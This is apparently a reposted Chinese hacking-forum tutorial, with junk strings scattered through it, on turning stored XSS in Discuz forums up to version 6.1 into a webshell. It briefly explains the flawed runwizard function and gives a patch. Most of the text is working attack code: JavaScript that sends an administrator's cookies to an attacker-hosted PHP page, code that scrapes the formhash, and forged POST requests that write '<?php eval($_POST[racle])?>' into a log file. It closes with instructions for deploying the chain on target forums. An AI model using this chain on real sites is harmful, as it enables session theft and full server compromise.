Discuz XSS得webshell
4 ?4 Z1 W) D |* B @' ?4 LBy racle @tian6.com3 _0 A$ h- T4 [8 I0 }- k- x
欢迎转帖.但请保留版权信息.
* U7 {8 L* I3 @. \; y受影响版本iscuz<=6.1.0,gbk+utf+big5
& o! b3 e' J/ x/ [* H9 j
! n; z% p+ ^, X5 Y新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效." `! j- i+ ~. \5 A4 N8 o
: S! m7 P0 Q1 ^: p
% C2 i2 U: h+ r, ?3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706+ R8 f: w" \ j. ? k" ^7 g/ k$ `
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.0 T! p* H8 B4 @. C4 }
+ ^" c2 d9 M$ O1 p3 B/ J: L分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
7 {4 G( D3 c4 m9 U) C A本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
8 m- M0 G5 J. o! ~8 h- Z$ k; z+ C s9 g
# Y! [+ C( z- U6 `2 A& e* i E----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------/ T) p/ c. H! |
. S6 u. W7 \) W1 k" Z$ u$ R/ [# X# s! x" g& ?
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
9 _1 R! K* W7 E. u, w, g' G
, ] j. _) Q8 m4 L. F; p# Sproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
' }- ~ G- |* e8 t& P
" N: O( o- J; B" D. Eproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.7 j: Y4 i$ t; v$ N
+ ~- c; J9 ^' `) q: Z; }& u3 K( h" D; B1 R" }
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {& z6 d/ U. d9 z
E& X0 s5 [; |, T
global $runwizardfile, $runwizardhistory;; H* g" w; G9 E
9 |1 y: q5 [; Q
$fp = fopen($runwizardfile, 'w');
3 [4 R4 P! }7 I. ~6 P0 b" s6 [6 \! G5 ^$ [- H, Y
fwrite($fp, serialize($runwizardhistory));4 g6 Q6 B, `0 e
: D6 F0 c+ A' d) Z; v1 g* O6 t
fclose($fp);! M% \. c7 [5 ^5 ]/ y# F( w
. D0 Y& Q1 Z; p# d3 P* Y}
1 u m$ p" n J4 [* G1 I8 A. r9 @复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.& { Q9 S6 y) E7 L0 q
以下是修补的办法:function saverunwizardhistory() {3 x" T/ q- M- s
$ C% e/ V# t4 d, u- R; A, m' ?. v! e global $runwizardfile, $runwizardhistory;
! X+ @# l L; F% I0 ~- d% }, y. e, ~/ y, U
$fp = fopen($runwizardfile, 'w');
" c4 q7 {; ^5 q) d2 m# t
: S Q7 R8 {$ ]% p1 u $s = '<?php exit;?>';
( _& @8 S5 J2 K. @+ N" j2 m: ?2 J4 r* ]- w3 a' Q
$s .= serialize($runwizardhistory);
2 O R/ o$ T0 N7 m m1 }* n& B x$ D r
fwrite($fp, $s);
7 b8 s; w1 H7 s* D f
6 v; }6 X1 w' ^6 D, x fclose($fp);4 [. r4 T5 m* T: R: K& i6 N5 V
9 R! E* F( l7 s6 j% H* J}/ X; z1 o7 x$ m1 g$ x5 o; S Z+ L. {
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.9 m/ Q) i4 E8 t) m q: b6 K
; `& \4 w! e2 h; f0 x% V' _8 K! P+ |0 C' v
" ]! ]! @8 j6 H- W0 F k8 P
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
i( @; U+ f# }8 ^6 ?' L2 \* W/ ]
: D. R* _' G' T' I
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.+ f' v" z1 ]& N- ~$ _! H; D) q1 W
# y3 B4 u& l( N9 k. a
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
+ y) |' g6 `7 t/ k. t8 }7 H7 I2 _" k) b
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.1 M4 m& @) g, R% k
: S, f* a+ F, w: n
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
1 G% O9 W9 Z2 y& @
4 m. [5 k( a% F5 L4 L2 Yvar url="http://目标网站/admincp.php";
" F& c p. p- q" b- w
: {' X! z/ g4 U z) S- N z/*获得cookies*/! ~+ ]. y$ W) ?6 R8 k! Y' [
4 B+ ], e% l! ifunction getURL(s) {1 b n( K$ Z" i; R5 o% w
3 v& C+ j' n* n$ S$ z, Bvar image = new Image();6 q9 O! }8 ~7 b
( g) d8 B( N3 s& U3 v, Gimage.style.width = 0;
' q( J6 U5 g9 y
" {% i4 u. N1 g [: Himage.style.height = 0;" W& h4 U/ k* r) y! V' m
# H: Z% W2 q7 G* s
image.src = s;
0 n& q9 ~) n% y
0 I) ^1 R$ m) P$ y9 ]( s}* b' ~; H$ m; ]. S3 |. ^
% y6 u) Q: U* i- k0 r% l/ ugetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
) J5 a/ N, k$ ?0 M" T复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
4 K* h, W2 \% D' k3 n, n复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
. s3 D) I! c% _- X& ^6 P9 S: d4 B: U5 _
/ j+ @3 @. y( J, c4 q获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
, N6 {& T7 D: [% i9 x, F) e1 @6 q7 O7 P# H% c( |: h% A+ L1 x4 p
# S+ f- S/ F5 L1 ]/ K! b
: o' s1 Q3 J2 A" Y
/*hash*/
- u& j: `$ n4 F9 `7 Q( k1 L6 S. t
" g8 d2 {; i$ lvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");; d% {& S7 i6 g. X4 }) `
, S, c& n) j4 `+ d W" `" c0 [
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);8 m. V2 N; M/ m7 b2 W/ G: \
' W$ o# G0 c2 P8 I" YxmlHttpReq.send();
$ E1 u% ?/ ]9 d! ^( m1 ?5 h3 u1 C" h. @, B0 z( L3 R$ p. }6 f
var resource = xmlHttpReq.responseText;+ v: i; j1 M5 A# ~# T3 k
" P" o- y/ z! T6 \
var numero = resource.search(/formhash/);8 q9 k8 S- h: o3 K" s
- O( B" I8 A& N2 p3 U" [1 t( e* b
var formhash=encodeURIComponent(resource.substr(numero+17,8));
1 H7 ^ T; |) r. @7 }4 `$ Z7 G* @1 \: s
0 v4 H% c" J- q/ W o/ a7 \. L
0 l s m# B# T9 p: n$ M
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
! P( s: x! ~+ Z& x2 H8 M, d' T( [ f& ?% _. P$ o3 M
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 0 d9 k8 O( Z( f3 A) r/ b
# ^: p8 C3 l* b3 X, ?3 V& I
xmlHttpReq.setRequestHeader("Referer", url);
7 C! s( n4 q$ I) ~# ~8 _$ R
6 k# c3 T1 T- e: M, d HxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");7 D" V6 z, z8 X, f4 F, k0 q
' {$ v! M2 j k1 A1 y$ x' L" l, j' gxmlHttpReq.setrequestheader("content-length",post.length); * A1 d5 D" r7 i7 Q( t
. V2 W; @& p& D* L! A MxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 1 i3 [, ?3 p( O1 N/ p" [1 ~
& M6 }' d' D+ h( H" R: j9 h& H
xmlHttpReq.send(post);//发送数据2 ~4 Z _1 _0 B' P
复制代码这里HASH我假设正确,这样提交,也无须cookies! g- g1 F3 ] ~# X/ h& i5 Q
( |" U O. G" D( t; Q* i; w% ~6 X1 r0 c
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
4 @: O% O7 j- F4 m1 |) q6 g; ]
; A- a" w, ]3 `+ u; wif (!$sock) die("$errstr ($errno)\n");
- w3 M2 @6 M$ T3 a2 O1 W# \9 Q
1 b M8 [) b1 @9 y( E$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
8 M% o. I+ \7 `0 l# x
7 Y. T1 f% O: |1 b K8 y. V D. O% [: H2 g5 @- R, n
3 X6 v9 x: z a' j" x" y
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 s! G( Y& q2 P' k, X
1 G |$ |4 C4 C5 efwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
: d: {0 u# p4 W: m' v) O; R! U" w- i: O7 w+ t
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
+ u6 s2 j0 f( _* B# I- V, f+ C! N( F* W$ j8 S1 s0 I9 h) E+ Y& B( b
fwrite($sock, "Accept-Language: zh-cn\r\n");6 @5 n# D: O, b. J7 o" i+ b6 x1 ~. X- x) P
% Y$ x" ?4 H% g% H( Q. d ]fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
: P& x; ?, B0 V) r% \6 N, j' k/ ?' K* S$ U1 I k) Y9 g8 @
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
& x2 G4 f$ j8 J- I @: D$ _( L* T( g% [
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
4 ~/ Y6 \# j% x }$ x3 p/ t2 F b% P/ h
! f% z1 D5 I" Y* pfwrite($sock, "Host: $url\r\n");" l& J w8 o6 s( ?! ^* y
0 v5 X0 ?& K- N4 q9 I
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");6 \& ~4 E/ \4 g0 a# l2 Z
: g' r# c4 p* l# C+ b( V+ U% d
fwrite($sock, "Connection: Keep-Alive\r\n");
; f7 O/ p& V/ @$ J# c- h
& b0 ] u) Y5 ~fwrite($sock, "Cache-Control: no-cache\r\n");2 d2 K: }! R [& \' ?
0 ?+ H. H6 ~" Q, G& f* M1 ifwrite($sock, "Cookie:".$cookies."\r\n\r\n");. s4 d8 A0 A% }6 x. E$ z
7 e& p0 o* F) [# w7 R% c0 @fwrite($sock, $data);$ f: e7 E9 z3 i0 M( \) \: P
6 H3 l( V: B0 Z+ h- l' |8 b, V, S. [0 h8 m( p
" t; F( q0 K* c6 Z( P) F+ M
$headers = "";
& S' e; s" I( Q/ B
0 I, H+ x9 k; R4 V3 ?5 Mwhile ($str = trim(fgets($sock, 4096)))6 q! e7 r& v5 L! O# y e
" M; V2 g% m% y! G" n
$headers .= "$str\n";3 _( r2 d+ ~9 k& f4 \9 T/ V. u S
& G4 L1 ?& M v; j& |1 Decho "\n";, N; V7 Z5 X/ B# G7 j; S8 U
$ F5 I/ |/ b7 ^: b9 q
$body = "";
( j0 G9 F3 d9 y# b3 v3 l! K2 a: e/ y
while (!feof($sock))# S l7 g! F! v# I! e$ w
V* v" e# ]% g% b6 \! Y $body .= fgets($sock, 4096);8 t+ ?/ a- A) S9 \( i7 r# y- C
' m; w/ ~! g) v+ ]" h3 o% O
fclose($sock);
. k4 j( N& ?- |; ^& B
7 v. ~9 }' g6 T! Zecho $body;! O4 K% S8 U- \. o% Q
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^$ A0 z, c! r/ U4 \7 Y/ A
" j/ ^( |" W( I1 N: _) b/ C, L, E# j; Z/ A, }6 B( y" V1 E
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
+ z1 _! t H- j# v; ^2 ~
% a/ T1 F$ ^* y
, M: A$ J a3 f. a( ]0 z. h, z1HP SOCKET利用方法首先打开racle.js
1 \6 K7 e. L7 c9 S8 H
- ]& P9 e2 Q$ v/ z7 Ivar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
8 @+ s' `' v, a3 g) w. C
2 P9 [/ ?7 O4 c& P; k5 s) |! I% V, q0 d+ ^6 J5 X% v5 @
( R$ l( a9 u3 h5 e4 z' i然后打开racle@tian6.php
4 v; `$ b6 m8 {2 v* k0 x, C2 N: b8 S
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com2 g5 D" J7 t. R$ \
) {) Q! e: `& G/ Y5 l
3 r7 U2 n( G" s5 F+ B) O: L0 O5 W1 s6 z& H3 i$ m4 s
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
" [1 A. O9 l6 R9 i2 v N
7 s' O2 X3 F, n6 @7 C0 JgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
) Q, B i( e6 @8 v0 ]+ B8 {
+ f& y+ Z0 N1 W为
, F- Z+ ` h5 h
. s _% U0 U( LgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
6 k6 M+ Z4 l/ A* e% T: N复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
% M2 x6 ~% ?! a* q9 | q; o: T0 Q$ |
7 P, C+ }% W: G$ M* j4 F5 s% E% @; h4 J% Z- I
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
' }5 x) r }. t' @- P1 W4 P0 L* e; U- g: l
var formhash=encodeURIComponent(resource.substr(numero+17,8));
, k9 R: U( ]0 B. f: B5 o1 P9 O% H2 j0 `; w' ^$ ~5 e3 n
为
/ p7 f' n$ ? ~3 b
* q( }5 T4 n7 V1 wvar formhash=encodeURIComponent(resource.substr(numero+9,8));5 k9 F3 x' E( g; t! ~3 M) K
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
" c! e% O; q8 e+ F. i4 _
9 {% {7 C3 s5 w3 }如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
( n# C7 L1 ? P5 z' M5 ?
& ]8 w( Y" V( T9 [如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.9 Y* j+ g# l# T
# J! K4 a( ]- {' G+ W! R# g% p
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.; e$ M$ o3 o2 G/ S
6 Q& o& R0 w& v" w* I2 v2 u: m
|